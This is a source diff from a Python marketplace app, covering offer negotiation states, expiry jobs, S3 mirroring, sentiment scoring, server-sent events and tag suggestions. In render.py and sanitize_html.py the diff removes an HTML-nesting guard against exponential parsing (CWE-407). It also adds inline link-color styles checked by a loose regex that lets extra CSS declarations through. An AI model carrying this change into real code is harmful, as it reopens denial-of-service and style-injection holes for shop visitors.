MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_ACCEPT,
actor=actor,
amount_in_cents=offer.current_amount_in_cents,
message=message,
)
)
dbsession.flush()
return offer
def cancel_offer_after_accept(offer, actor, message=None, now_ms=None):
"""Buyer-side back-out *after* the seller accepted. Flips ACCEPTED →
BUYER_CANCELLED. Distinct from withdraw (which only works before
acceptance). Terminal. Caller validates that actor is the buyer.
Raises OfferRejected if the offer isn't currently ACCEPTED — already
paid, expired, or never-accepted offers cannot be cancelled this way.
"""
if now_ms is None:
now_ms = now_timestamp()
if offer.state != OFFER_STATE_ACCEPTED:
raise OfferRejected("only accepted offers can be cancelled by buyer")
offer.state = OFFER_STATE_BUYER_CANCELLED
offer.last_action_timestamp = now_ms
dbsession = offer.dbsession
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_BUYER_CANCEL,
actor=actor,
amount_in_cents=offer.current_amount_in_cents,
message=message,
)
)
dbsession.flush()
return offer
def decline_offer(offer, actor, actor_party, message=None, now_ms=None):
"""Decline the current amount. Terminal. Either party can decline."""
if now_ms is None:
now_ms = now_timestamp()
validate_actor_turn(actor_party, offer.current_party, offer.state)
offer.state = OFFER_STATE_DECLINED
offer.last_action_timestamp = now_ms
dbsession = offer.dbsession
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_DECLINE,
actor=actor,
amount_in_cents=offer.current_amount_in_cents,
message=message,
)
)
dbsession.flush()
return offer
def withdraw_offer(offer, actor, message=None, now_ms=None):
"""Buyer pulls the offer. Terminal. Buyer-only — caller validates
identity. We accept withdraw at any non-terminal state.
"""
if now_ms is None:
now_ms = now_timestamp()
if offer.state in OFFER_TERMINAL_STATES:
raise OfferRejected("offer is terminal")
offer.state = OFFER_STATE_WITHDRAWN
offer.last_action_timestamp = now_ms
dbsession = offer.dbsession
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_WITHDRAW,
actor=actor,
amount_in_cents=offer.current_amount_in_cents,
message=message,
)
)
dbsession.flush()
return offer
def expire_offer(offer, now_ms=None):
"""System action: flip a non-paid offer past its current deadline to
EXPIRED. Two deadlines apply at different states:
- PENDING / COUNTERED: offer.expires_timestamp (negotiation window).
- ACCEPTED: offer.acceptance_pay_deadline_ms (buyer's pay window).
Idempotent — offers that are already terminal in a non-expirable way
(DECLINED, WITHDRAWN, PAID, BUYER_CANCELLED) are returned unchanged.
Caller (tick job) is responsible for finding eligible offers.
"""
if now_ms is None:
now_ms = now_timestamp()
if offer.state in (OFFER_STATE_PENDING, OFFER_STATE_COUNTERED):
if offer.expires_timestamp > now_ms:
return offer # negotiation window still open
reason = "auto-expired (negotiation window)"
elif offer.state == OFFER_STATE_ACCEPTED:
deadline = offer.acceptance_pay_deadline_ms
if deadline is None or deadline > now_ms:
return offer # buyer still inside the pay window
reason = "auto-expired (unpaid past acceptance window)"
else:
# DECLINED, WITHDRAWN, EXPIRED, PAID, BUYER_CANCELLED — no-op.
return offer
offer.state = OFFER_STATE_EXPIRED
offer.last_action_timestamp = now_ms
dbsession = offer.dbsession
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_EXPIRE,
actor=None,
amount_in_cents=offer.current_amount_in_cents,
message=reason,
)
)
dbsession.flush()
return offer
def mark_paid(offer, now_ms=None):
"""Cart-success hook. Flips ACCEPTED → PAID. No-op if already paid."""
if now_ms is None:
now_ms = now_timestamp()
if offer.state == OFFER_STATE_PAID:
return offer
if offer.state != OFFER_STATE_ACCEPTED:
raise OfferRejected("only accepted offers can be marked paid")
offer.state = OFFER_STATE_PAID
offer.last_action_timestamp = now_ms
offer.paid_timestamp = now_ms
dbsession = offer.dbsession
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_PAY,
actor=None,
amount_in_cents=offer.current_amount_in_cents,
message="cart payment captured",
)
)
dbsession.flush()
return offer

59
make_post_sell/lib/offer_tick.py
View file

@ -1,59 +0,0 @@
"""offer_tick — auto-expiration for offers past their current deadline.
Two windows expire:
- PENDING / COUNTERED past expires_timestamp (negotiation window).
- ACCEPTED past acceptance_pay_deadline_ms (buyer's pay window).
Idempotent: running twice on an already-expired offer is a no-op.
"""
from ..models.offer import (
MpsOffer,
OFFER_STATE_PENDING,
OFFER_STATE_COUNTERED,
OFFER_STATE_ACCEPTED,
now_timestamp,
)
from .offer import expire_offer
from .notifications import notify_offer_expired
def tick(dbsession, now_ms=None):
"""Expire any pending/countered offer past expires_timestamp and any
accepted-but-unpaid offer past its acceptance pay deadline.
Returns {expired: int}. Caller manages its txn boundary.
"""
if now_ms is None:
now_ms = now_timestamp()
# Negotiation-window expiry (pre-acceptance).
pre_accept = (
dbsession.query(MpsOffer)
.filter(MpsOffer.state.in_([OFFER_STATE_PENDING, OFFER_STATE_COUNTERED]))
.filter(MpsOffer.expires_timestamp <= now_ms)
.all()
)
# Pay-window expiry (post-acceptance). expire_offer computes the
# deadline from accepted_timestamp + shop.offer_acceptance_payment_hours
# rather than a stored absolute, so we filter in-Python via the helper.
post_accept_candidates = (
dbsession.query(MpsOffer)
.filter(MpsOffer.state == OFFER_STATE_ACCEPTED)
.filter(MpsOffer.accepted_timestamp.isnot(None))
.all()
)
expired = 0
for offer in pre_accept:
expire_offer(offer, now_ms=now_ms)
notify_offer_expired(dbsession, offer)
expired += 1
for offer in post_accept_candidates:
deadline = offer.acceptance_pay_deadline_ms
if deadline is None or deadline > now_ms:
continue
expire_offer(offer, now_ms=now_ms)
notify_offer_expired(dbsession, offer)
expired += 1
return {"expired": expired}

44
make_post_sell/lib/render.py
View file

@ -1,11 +1,8 @@
from .sanitize_html import (
default_cleaner,
limit_html_nesting,
markdown_to_raw_html,
clean_raw_html,
)
from bs4 import BeautifulSoup
import re
import logging
@ -28,49 +25,10 @@ def make_cleaner_from_shop(shop):
return cleaner
def add_shop_theme_classes(html, shop):
"""Add shop-theme-link-color class to all links in HTML if shop has theme color."""
if not shop or not shop.theme_link_color:
return html
# Validate that the color looks like a valid CSS color.
# Non-backtracking patterns only — no nested quantifiers.
color = shop.theme_link_color.strip()
_hex3 = r"^#[0-9a-fA-F]{3}$"
_hex6 = r"^#[0-9a-fA-F]{6}$"
_func = r"^(?:rgba?|hsla?)\([^)]{0,80}\)$"
_name = r"^[a-zA-Z]{1,32}$"
if not any(re.match(p, color) for p in (_hex3, _hex6, _func, _name)):
return html
soup = BeautifulSoup(html, "html.parser")
for a_tag in soup.find_all("a"):
# Add CSS class for shop-themed links
existing_classes = a_tag.attrs.get("class", [])
if isinstance(existing_classes, str):
existing_classes = existing_classes.split()
# Only add if not already present
if "shop-theme-link-color" not in existing_classes:
existing_classes.append("shop-theme-link-color")
a_tag.attrs["class"] = existing_classes
return str(soup)
def markdown_to_html(data, shop=None):
raw_html = markdown_to_raw_html(data)
raw_html = limit_html_nesting(raw_html)
if shop:
cleaner = make_cleaner_from_shop(shop)
else:
cleaner = default_cleaner()
cleaned_html = clean_raw_html(raw_html, cleaner)
# Add shop theme classes after sanitization
if shop:
cleaned_html = add_shop_theme_classes(cleaned_html, shop)
return cleaned_html
return clean_raw_html(raw_html, cleaner)

315
make_post_sell/lib/s3_mirror.py
View file

@ -1,315 +0,0 @@
"""S3 mirror — fire-and-forget sync of uploaded files to a shop's custom bucket.
When a shop has mirror_s3_* credentials configured and enabled, every file
written to the MPS main bucket is copied to the shop's bucket in a background
thread. The MPS bucket remains the origin/CDN — the shop bucket is a mirror.
"""
import fcntl
import logging
import os
import threading
import boto3
log = logging.getLogger(__name__)
def _make_mirror_client(endpoint, region, access_key, secret_key):
"""Create a boto3 S3 client from mirror credentials."""
session = boto3.session.Session()
return session.client(
"s3",
region_name=region or "us-east-1",
endpoint_url=endpoint,
aws_access_key_id=access_key,
aws_secret_access_key=secret_key,
)
def test_mirror_connection(shop):
"""Validate shop mirror credentials by listing the bucket.
Returns (True, "") on success or (False, "error message") on failure.
"""
try:
client = _make_mirror_client(
shop.mirror_s3_endpoint,
shop.mirror_s3_region,
shop.mirror_s3_access_key,
shop.mirror_s3_secret_key,
)
client.list_objects_v2(Bucket=shop.mirror_s3_bucket, MaxKeys=0)
return True, ""
except Exception as e:
return False, str(e)
def mirror_key(src_client, src_bucket, key, dst_client, dst_bucket,
content_type=None, cache_control=None):
"""Copy a single key from source bucket to mirror bucket.
Streams via get_object → put_object. The StreamingBody from get_object
is passed directly as Body to put_object.
"""
try:
resp = src_client.get_object(Bucket=src_bucket, Key=key)
body = resp["Body"]
put_kwargs = {
"Bucket": dst_bucket,
"Key": key,
"Body": body,
}
if content_type:
put_kwargs["ContentType"] = content_type
if cache_control:
put_kwargs["CacheControl"] = cache_control
dst_client.put_object(**put_kwargs)
log.info("Mirrored %s to %s/%s", key, dst_bucket, key)
except Exception:
log.exception("Failed to mirror key %s to bucket %s", key, dst_bucket)
def _capture_shop_mirror_creds(shop):
"""Capture mirror credentials as plain strings for thread safety.
The shop ORM object must not be accessed from a background thread
after the request's DB session is closed.
"""
return {
"endpoint": shop.mirror_s3_endpoint,
"region": shop.mirror_s3_region,
"bucket": shop.mirror_s3_bucket,
"access_key": shop.mirror_s3_access_key,
"secret_key": shop.mirror_s3_secret_key,
}
def _capture_source_creds(src_client):
"""Capture source S3 client credentials for thread safety.
boto3 clients are not thread-safe — the background thread must
create its own client.
"""
return {
"endpoint": src_client._endpoint.host,
"region": src_client.meta.region_name,
"access_key": src_client._request_signer._credentials.access_key,
"secret_key": src_client._request_signer._credentials.secret_key,
}
def mirror_key_async(src_client, src_bucket, key, shop,
content_type=None, cache_control=None):
"""Fire-and-forget: mirror a key to the shop's bucket in a daemon thread.
Does nothing if the shop has no mirror configured.
"""
if not shop.has_s3_mirror:
return
mirror_creds = _capture_shop_mirror_creds(shop)
source_creds = _capture_source_creds(src_client)
def _sync():
try:
sess = boto3.session.Session()
src = sess.client(
"s3",
region_name=source_creds["region"],
endpoint_url=source_creds["endpoint"],
aws_access_key_id=source_creds["access_key"],
aws_secret_access_key=source_creds["secret_key"],
)
dst = _make_mirror_client(
mirror_creds["endpoint"],
mirror_creds["region"],
mirror_creds["access_key"],
mirror_creds["secret_key"],
)
mirror_key(src, src_bucket, key, dst, mirror_creds["bucket"],
content_type=content_type, cache_control=cache_control)
except Exception:
log.exception("Mirror thread failed for key %s", key)
t = threading.Thread(target=_sync, daemon=True)
t.start()
def mirror_keys_async(src_client, src_bucket, keys, shop,
content_type=None, cache_control=None):
"""Fire-and-forget: mirror multiple keys in a single daemon thread."""
if not shop.has_s3_mirror:
return
mirror_creds = _capture_shop_mirror_creds(shop)
source_creds = _capture_source_creds(src_client)
def _sync():
try:
sess = boto3.session.Session()
src = sess.client(
"s3",
region_name=source_creds["region"],
endpoint_url=source_creds["endpoint"],
aws_access_key_id=source_creds["access_key"],
aws_secret_access_key=source_creds["secret_key"],
)
dst = _make_mirror_client(
mirror_creds["endpoint"],
mirror_creds["region"],
mirror_creds["access_key"],
mirror_creds["secret_key"],
)
for key in keys:
mirror_key(src, src_bucket, key, dst, mirror_creds["bucket"],
content_type=content_type, cache_control=cache_control)
except Exception:
log.exception("Mirror thread failed for keys %s", keys)
t = threading.Thread(target=_sync, daemon=True)
t.start()
def backfill_mirror_async(shop_id, session_factory, app_settings):
"""Copy all existing S3 files for a shop to the mirror bucket.
Forks a child process so the backfill survives uWSGI worker recycling.
Uses fcntl.flock on a lockfile for one-per-shop guard.
"""
shop_id_str = str(shop_id)
lockfile = f"/tmp/s3_mirror_backfill_{shop_id_str}.lock"
db_url = str(session_factory().get_bind().url)
# Quick check — if lockfile exists and is locked, skip
try:
check_fd = open(lockfile, "w")
fcntl.flock(check_fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
fcntl.flock(check_fd, fcntl.LOCK_UN)
check_fd.close()
except (IOError, OSError):
return # another backfill is running for this shop
pid = os.fork()
if pid > 0:
os.waitpid(pid, 0)
return
# Intermediate child: detach fully from uWSGI, then fork again
os.setsid()
pid2 = os.fork()
if pid2 > 0:
os._exit(0)
# --- Grandchild process: fully detached from uWSGI ---
import resource
maxfd = resource.getrlimit(resource.RLIMIT_NOFILE)[1]
if maxfd == resource.RLIM_INFINITY:
maxfd = 1024
for fd in range(3, maxfd):
try:
os.close(fd)
except OSError:
pass
lock_fd = None
try:
lock_fd = open(lockfile, "w")
fcntl.flock(lock_fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
lock_fd.write(str(os.getpid()))
lock_fd.flush()
from sqlalchemy import create_engine
from sqlalchemy.orm import Session as SASession
from ..models.shop import Shop
engine = create_engine(db_url)
session = SASession(bind=engine)
def _make_src(shop):
# BYOB: if shop has its own primary bucket, mirror from there (MPS-16)
if shop and shop.has_primary_s3:
return boto3.session.Session().client(
"s3",
region_name=shop.primary_s3_region,
endpoint_url=shop.primary_s3_endpoint,
aws_access_key_id=shop.primary_s3_access_key,
aws_secret_access_key=shop.primary_s3_secret_key,
)
return boto3.session.Session().client(
"s3",
region_name=app_settings["bucket.secure_uploads.region"],
endpoint_url=app_settings["bucket.secure_uploads.post_endpoint"],
aws_access_key_id=app_settings["bucket.secure_uploads.access_key"],
aws_secret_access_key=app_settings["bucket.secure_uploads.secret_key"],
)
try:
shop = session.get(Shop, shop_id)
if not shop or not shop.has_s3_mirror:
return
src = _make_src(shop)
dst = _make_mirror_client(
shop.mirror_s3_endpoint,
shop.mirror_s3_region,
shop.mirror_s3_access_key,
shop.mirror_s3_secret_key,
)
src_bucket = shop.primary_s3_bucket if shop.has_primary_s3 else app_settings["bucket.secure_uploads"]
dst_bucket = shop.mirror_s3_bucket
# List all objects under the shop's prefix
prefix = f"{shop_id_str}/"
continuation_token = None
total = 0
mirrored = 0
log.info("Backfill mirror for shop %s (pid %d)", shop.name, os.getpid())
while True:
list_kwargs = {
"Bucket": src_bucket,
"Prefix": prefix,
"MaxKeys": 1000,
}
if continuation_token:
list_kwargs["ContinuationToken"] = continuation_token
resp = src.list_objects_v2(**list_kwargs)
contents = resp.get("Contents", [])
total += len(contents)
for obj in contents:
key = obj["Key"]
mirror_key(src, src_bucket, key, dst, dst_bucket)
mirrored += 1
if resp.get("IsTruncated"):
continuation_token = resp["NextContinuationToken"]
else:
break
log.info("Backfill mirror complete for shop %s: %d/%d keys mirrored",
shop.name, mirrored, total)
except Exception:
log.exception("Backfill mirror failed for shop %s", shop_id_str)
finally:
session.close()
engine.dispose()
except (IOError, OSError):
pass # couldn't acquire lock
except Exception:
log.exception("Backfill mirror child process failed for shop %s", shop_id_str)
finally:
if lock_fd:
try:
lock_fd.close()
os.unlink(lockfile)
except OSError:
pass
os._exit(0)

55
make_post_sell/lib/sanitize_html.py
View file

@ -12,7 +12,7 @@ from bleach_allowlist import markdown_tags, markdown_attrs, all_styles
# We implement our own CSS validation in protect_links() for security
from bs4 import BeautifulSoup, Tag
from bs4 import BeautifulSoup
import miniuri
@ -105,41 +105,6 @@ def default_cleaner(tag_acl=None):
return cleaner
def limit_html_nesting(html, max_depth=20):
"""
Flatten HTML elements nested deeper than max_depth.
bleach/html5lib has O(2^N) complexity for deeply nested or misnested
elements (CWE-407). N=30 → 1.0s, N=35 → 12.8s measured in the wild.
This runs on the raw markdown output (before bleach) using html.parser
which is O(N) — safe to call first.
max_depth=20 accommodates books with deeply nested lists, blockquotes,
and table-of-contents structures while keeping N well below the
exponential zone.
"""
soup = BeautifulSoup(html, "html.parser")
to_unwrap = []
def _collect(node, depth):
for child in list(node.children):
if not isinstance(child, Tag):
continue
if depth >= max_depth:
to_unwrap.append(child)
_collect(child, depth + 1)
_collect(soup, 0)
# Unwrap deepest first so parent references remain valid
for tag in reversed(to_unwrap):
if tag.parent is not None:
tag.unwrap()
return str(soup)
def markdown_to_raw_html(data, extra_extensions=None):
"""Accepts a markdown string, returns raw unsanitized HTML"""
extensions = [
@ -216,6 +181,24 @@ def protect_links(soup, cleaner):
for a_tag in soup.find_all("a"):
uri = miniuri.Uri(a_tag.attrs.get("href", ""))
# Add shop ribbon color styling to all links
if hasattr(cleaner, "shop") and cleaner.shop:
link_color = cleaner.shop.theme_link_color
if link_color:
# Validate that the color looks like a valid CSS color
# Allow hex colors (#fff, #ffffff), rgb(), rgba(), hsl(), hsla(), and named colors
import re
color_pattern = r"^(#[0-9a-fA-F]{3}|#[0-9a-fA-F]{6}|rgb\([^)]+\)|rgba\([^)]+\)|hsl\([^)]+\)|hsla\([^)]+\)|[a-zA-Z]+)$"
if re.match(color_pattern, link_color.strip()):
# Get existing style or create new one
existing_style = a_tag.attrs.get("style", "")
if existing_style and not existing_style.endswith(";"):
existing_style += ";"
# Add color styling with validation
new_style = f"{existing_style}color:{link_color.strip()};"
a_tag.attrs["style"] = new_style
if uri.hostname in cleaner.whitelist_domains:
# domain in whitelist or relative URI so remove rel="nofollow".
a_tag.attrs.pop("rel", None)

98
make_post_sell/lib/sentiment.py
View file

@ -1,98 +0,0 @@
"""
Rule-based comment sentiment classifier.
No external dependencies — uses only the ``re`` module. Returns −1
(negative), 0 (neutral), or 1 (positive) for a given comment string.
"""
import re
POSITIVE_WORDS = frozenset({
"love", "great", "awesome", "amazing", "excellent", "fantastic",
"wonderful", "beautiful", "perfect", "brilliant", "outstanding",
"superb", "incredible", "magnificent", "thank", "thanks", "good",
"best", "cool", "nice", "happy", "enjoy", "enjoyed", "helpful",
"fire", "impressive", "solid", "recommend", "recommended",
"favorite", "favourite", "gem", "inspiring", "inspirational",
"masterpiece", "phenomenal", "stellar", "bravo", "wow",
"delightful", "exceptional", "glorious", "dope",
})
NEGATIVE_WORDS = frozenset({
"bad", "terrible", "awful", "horrible", "worst", "hate",
"disappointing", "disappointed", "poor", "boring", "waste",
"ugly", "broken", "useless", "annoying", "frustrating",
"mediocre", "overpriced", "scam", "trash", "garbage",
"rubbish", "dreadful", "pathetic", "lame", "sucks",
"meh", "bland", "uninspired", "weak", "confusing",
"disgusting", "offensive", "painful", "regret", "refund",
"spam", "fake", "ripoff", "avoid", "lackluster",
})
NEGATION_WORDS = frozenset({
"not", "no", "never", "neither", "nor", "nothing",
"nowhere", "hardly", "barely", "scarcely", "dont",
"doesnt", "didnt", "wasnt", "werent", "wont",
"wouldnt", "couldnt", "shouldnt", "isnt", "arent",
"cant", "cannot",
})
INTENSIFIERS = frozenset({
"very", "really", "extremely", "absolutely", "incredibly",
"totally", "completely", "utterly", "super", "so",
})
_TOKEN_RE = re.compile(r"[a-zA-Z]{2,}")
_NEGATION_WINDOW = 3
def classify_sentiment(text):
"""Classify *text* and return ``-1``, ``0``, or ``1``."""
if not text:
return 0
tokens = [t.lower() for t in _TOKEN_RE.findall(text)]
if not tokens:
return 0
score = 0.0
negation_countdown = 0
intensifier_active = False
for token in tokens:
# Strip trailing apostrophe contractions already handled by regex
clean = token.replace("'", "")
if clean in NEGATION_WORDS:
negation_countdown = _NEGATION_WINDOW
continue
if clean in INTENSIFIERS:
intensifier_active = True
continue
weight = 0.0
if clean in POSITIVE_WORDS:
weight = 1.0
elif clean in NEGATIVE_WORDS:
weight = -1.0
if weight != 0.0:
if intensifier_active:
weight *= 1.5
if negation_countdown > 0:
weight = -weight
score += weight
intensifier_active = False
if negation_countdown > 0:
negation_countdown -= 1
# Normalize by token count to avoid bias toward long comments
normalized = score / len(tokens)
if normalized > 0.04:
return 1
elif normalized < -0.04:
return -1
return 0

76
make_post_sell/lib/sse.py
View file

@ -1,76 +0,0 @@
"""Bounded server-sent-events helper (MPS-20 / MPS-21).
We don't have Redis/pub-sub (SQLite app) and uWSGI only has a handful of
worker threads, so a truly long-lived SSE connection would starve the
pool. Instead each connection is *bounded*: it polls the row every
~`poll_interval` seconds, emits a `data:` event whenever the serialized
state changes (and the current state immediately on connect), sends a
heartbeat comment periodically, then closes after ~`hold_seconds`. The
browser's ``EventSource`` reconnects automatically, so the worker thread
is only held for that bounded window.
`fetch_state(session)` is invoked each poll with a *fresh* SQLAlchemy
session (NOT `request.dbsession` — by the time this generator runs,
pyramid_tm has already closed the request transaction) and must return
either ``(version, payload_dict)`` or ``None`` if the object is gone.
`version` is any comparable value; when it changes we emit `payload_dict`.
Timings come from settings so tests can run fast:
app.sse.hold_seconds (default 25)
app.sse.poll_interval_seconds (default 1.5)
"""
import json
import time
def _float_setting(settings, key, default):
try:
return float(settings.get(key, default))
except (TypeError, ValueError):
return default
def event_stream(request, fetch_state):
settings = request.registry.settings
hold = _float_setting(settings, "app.sse.hold_seconds", 25.0)
poll = _float_setting(settings, "app.sse.poll_interval_seconds", 1.5)
heartbeat_every = max(1, int(round(15.0 / poll)) if poll else 1)
factory = request.registry["dbsession_factory"]
deadline = time.monotonic() + hold
sentinel = object()
last_version = sentinel
i = 0
while time.monotonic() < deadline:
session = factory()
try:
result = fetch_state(session)
finally:
session.close()
if result is None:
yield b"event: gone\ndata: {}\n\n"
return
version, payload = result
if version != last_version:
last_version = version
yield ("data: " + json.dumps(payload) + "\n\n").encode("utf-8")
elif i % heartbeat_every == 0:
yield b": ping\n\n"
i += 1
if time.monotonic() >= deadline:
break
time.sleep(poll)
# Closing on purpose — EventSource will reconnect.
yield b"event: reconnect\ndata: {}\n\n"
def sse_response(request, fetch_state):
"""Attach an `event_stream` generator to `request.response` and return it."""
response = request.response
response.content_type = "text/event-stream"
response.headers["Cache-Control"] = "no-cache"
# Hint proxies (nginx; Caddy auto-detects text/event-stream) not to buffer.
response.headers["X-Accel-Buffering"] = "no"
response.app_iter = event_stream(request, fetch_state)
return response

545
make_post_sell/lib/tag_suggest.py
View file

@ -1,545 +0,0 @@
"""MPS-24 Phase 2: deterministic tag suggestions from product title + description.
Pure functions; no DB, no ML, no external deps beyond the stdlib. Caller
hands us product (title, description, id) tuples + per-shop stopwords +
existing tag slugs; we return ranked candidate clusters for operator
approval.
Pipeline:
tokenize(text) → lowercased word tokens ≥ 3 chars, markdown stripped
simple_stem(word) → suffix-strip; "seasonal"/"seasons" → "season"
suggest_clusters() → list of {stem, label, product_ids, score}
Inputs are weighted: title × 3, description × 1 (capped per product).
"""
import re
from collections import Counter, defaultdict
# Unique-token cap per product for the description side of the input,
# to stop a single long blog post from drowning the catalog signal.
# Title is never capped (titles are short by construction).
# Raised 100 → 400: on long teaching-resource descriptions the old cap
# truncated cross-cutting words like "holiday"/"holidays"/"seasonal"
# before they were ever counted, so those categories never surfaced.
# Still bounded (deduped unique tokens per product) — CWE-407-safe.
DESCRIPTION_TOKEN_CAP = 400
# Title weight relative to description; tokens from the title count this
# many times when scoring stem frequency per product.
TITLE_WEIGHT = 3
DESCRIPTION_WEIGHT = 1
# Minimum number of products that must share a stem for it to surface
# as a candidate category. Singletons are noise.
DEFAULT_MIN_PRODUCTS = 2
# Default cap on how many candidate clusters we return per call.
# Large catalogues (printableprompts has 481) carry many valid niche
# categories — at 100 the operator was missing real groups like
# "holiday"/"holidays" that ranked past the cut. Set high; the
# downstream filters (min_products, max_share, min_title_share) already
# remove noise, so a generous ceiling surfaces the long tail without
# resurfacing junk. Operator can still narrow via ?top_n=.
DEFAULT_TOP_N = 500
# A stem appearing in more than this fraction of products is treated as
# **shop vocabulary** — words the operator uses to describe everything
# they sell, not differentiators between products. E.g. on a K-1 printables
# shop: students / resource / activity / practice — every product is one
# of those. Auto-drop them so the next 20 candidates are actually useful.
DEFAULT_MAX_SHARE = 0.4
# A candidate stem (or bigram) must appear in the *title* of at least
# this fraction of products that carry it, otherwise it's
# description-only noise. e.g. "versions" / "offered" / "engaged" /
# "during" tend to live in marketing copy in descriptions but never in
# titles — those words describe how the product reads, not what it is.
# 0 disables the filter (description-only stems can still cluster).
DEFAULT_MIN_TITLE_SHARE = 0.3
# Bigram generation (adjacent non-stopword tokens) is on by default —
# the highest-impact single change for product titles like
# "Write the Room" → bigram "write room", "First Grade Math" →
# "first grade", "Valentine's Day Color" → "valentine day".
DEFAULT_BIGRAMS = True
# Bigrams score this many times a unigram's weight at the same count.
# Phrases are more specific than single words and should out-rank them
# when both cluster equally well.
BIGRAM_WEIGHT_MULTIPLIER = 2
# English stopwords — hand-tuned for product copy. Operators add
# shop-specific extras via shop.tag_stopwords_json (e.g. printableprompts
# wants "write", "room", "activity").
ENGLISH_STOPWORDS = frozenset([
# Articles, conjunctions, prepositions
"the", "and", "for", "you", "your", "with", "this", "that", "from",
"are", "was", "were", "but", "not", "have", "has", "had", "all",
"any", "can", "will", "would", "should", "could", "into", "out",
"over", "under", "about", "what", "when", "where", "why", "how",
"who", "they", "them", "their", "our", "ours", "his", "her", "its",
"while", "until", "since", "because", "though", "unless", "whether",
# Quantifiers, intensifiers, hedges
"one", "two", "three", "more", "most", "some", "few", "many", "much",
"very", "just", "only", "also", "than", "then", "now", "still",
"such", "even", "ever", "never", "always", "every", "each", "both",
"really", "actually", "basically", "simply", "easily", "nearly",
"perfectly", "exactly",
# Generic verbs
"use", "uses", "used", "using", "make", "makes", "made", "making",
"get", "gets", "got", "getting", "set", "sets", "setting",
"include", "includes", "included", "including",
"buy", "buys", "bought", "buying", "sell", "sells", "sold", "selling",
"give", "gives", "gave", "giving", "take", "takes", "took", "taking",
"show", "shows", "showed", "showing",
"find", "finds", "found", "finding",
"look", "looks", "looked", "looking",
"see", "sees", "saw", "seeing", "seen",
"want", "wants", "wanted", "wanting",
"need", "needs", "needed", "needing",
"like", "likes", "liked", "liking",
"come", "comes", "came", "coming",
"tell", "tells", "told", "telling",
"say", "says", "said", "saying",
"ask", "asks", "asked", "asking",
"help", "helps", "helped", "helping",
"build", "builds", "built", "building",
"work", "works", "worked", "working",
"play", "plays", "played", "playing",
"open", "opens", "opened", "opening",
"close", "closes", "closed", "closing",
"check", "checks", "checked", "checking",
"offer", "offers", "offered", "offering",
"engage", "engages", "engaged", "engaging",
"teach", "teaches", "taught", "teaching",
"learn", "learns", "learned", "learning",
# Marketing fluff
"perfect", "great", "best", "new", "free", "easy", "amazing",
"awesome", "fantastic", "wonderful", "lovely", "favorite",
"ready", "complete", "full", "extra", "bonus", "special",
# Generic nouns / qualifiers
"way", "ways", "kind", "kinds", "type", "types",
"part", "parts", "lot", "lots", "thing", "things",
"place", "places", "side", "sides",
"year", "years", "month", "months", "week", "weeks",
"today", "tomorrow", "yesterday",
"time", "times",
# Generic adjectives
"good", "well", "right", "left", "yes", "okay", "fine",
"fun", "nice", "cute",
"high", "low", "long", "short", "big", "small", "tall",
"old", "young",
# Generic content-medium words (often noise in printable / digital shops)
"version", "versions", "preview", "previews",
"answer", "answers", "question", "questions",
"picture", "pictures", "image", "images",
"graphic", "graphics",
"fact", "facts",
"theme", "themes", "themed",
"recording", "record", "recorded", "records",
"draw", "draws", "drew", "drawing", "drawings",
"line", "lines", "lined",
"cut", "cuts", "cutting",
"sheet", "sheets",
"page", "pages",
"content", "file", "files", "download", "downloads",
"product", "products", "item", "items",
"shop", "shops", "store", "stores",
# Demonstratives (sometimes leak)
"these", "those",
])
# Suffixes to strip in order; longer ones first so "ies" beats "es".
_STEM_SUFFIXES = (
"iness", "fulness", "tion", "ment", "ness", "able", "ible",
"ies", "ied",
"ing", "ers", "est", "ish", "ous",
"ly", "ed", "es", "er", "or",
"al", "ic",
"s",
)
# Strip these markdown / formatting characters before tokenising.
# Note: apostrophe is intentionally KEPT so "Valentine's", "Patrick's"
# survive as readable labels — see `_WORD` below.
_MD_PUNCT = re.compile(r"[`*_~#>|\\\[\]()<>{}/\"!?,.:;=+\-]")
# Drop fenced code blocks / inline code spans so code snippets don't
# leak random tokens. Order matters: fenced first, then inline.
_CODE_FENCE = re.compile(r"```.*?```", re.DOTALL)
_CODE_INLINE = re.compile(r"`[^`]*`")
# Strip URLs (bare or markdown-linked) before tokenising.
_URL = re.compile(r"https?://\S+")
# Strip raw HTML tags (description is markdown but operators paste in HTML).
_HTML_TAG = re.compile(r"<[^>]+>")
# What counts as a word — lowercase letters + digits, ≥ 3 chars,
# with an optional possessive/contraction suffix (e.g. "valentine's",
# "patrick's"). The apostrophe-tail survives the markdown clean so the
# label voting can render readable "Valentine's Day" / "Patrick's Day".
_WORD = re.compile(r"[a-z][a-z0-9]{2,}(?:'[a-z]+)?")
def simple_stem(word):
"""Suffix-strip stem for English-ish product copy.
Conservative: never strips a suffix if the resulting stem is < 3
chars (avoids collapsing "ice" → "i" because of -ce). Drops
possessive/contraction tails first ("valentine's" → "valentine")
so apostrophe surface forms still stem cleanly.
>>> simple_stem("seasonal")
'season'
>>> simple_stem("seasons")
'season'
>>> simple_stem("valentine's")
'valentine'
>>> simple_stem("math")
'math'
"""
w = (word or "").lower()
# Drop possessive / contraction tail before stemming.
if "'" in w:
w = w.split("'", 1)[0]
if len(w) <= 3:
return w
for suffix in _STEM_SUFFIXES:
if w.endswith(suffix) and len(w) - len(suffix) >= 3:
return w[: -len(suffix)]
return w
def _clean_text(text):
"""Strip markdown formatting + URLs + HTML before tokenising."""
if not text:
return ""
text = _CODE_FENCE.sub(" ", text)
text = _CODE_INLINE.sub(" ", text)
text = _URL.sub(" ", text)
text = _HTML_TAG.sub(" ", text)
text = _MD_PUNCT.sub(" ", text)
return text.lower()
def tokenize(text, stopwords=None, cap=None):
"""Tokenize a string into a list of lowercase words ≥ 3 chars.
Drops English stopwords and the operator's per-shop additions. When
`cap` is provided, returns the first `cap` *unique* tokens (in order
of first appearance) — used to stop very long descriptions from
dominating the cluster signal.
"""
if not text:
return []
stop = set(ENGLISH_STOPWORDS)
if stopwords:
stop |= {w.lower() for w in stopwords}
cleaned = _clean_text(text)
tokens = []
seen = set() if cap else None
for raw in _WORD.findall(cleaned):
# Stopword test uses the apostrophe-less base ("valentine" from
# "valentine's") so possessives don't slip past the list.
base = raw.split("'", 1)[0]
if base in stop or raw in stop:
continue
if cap:
if raw in seen:
continue
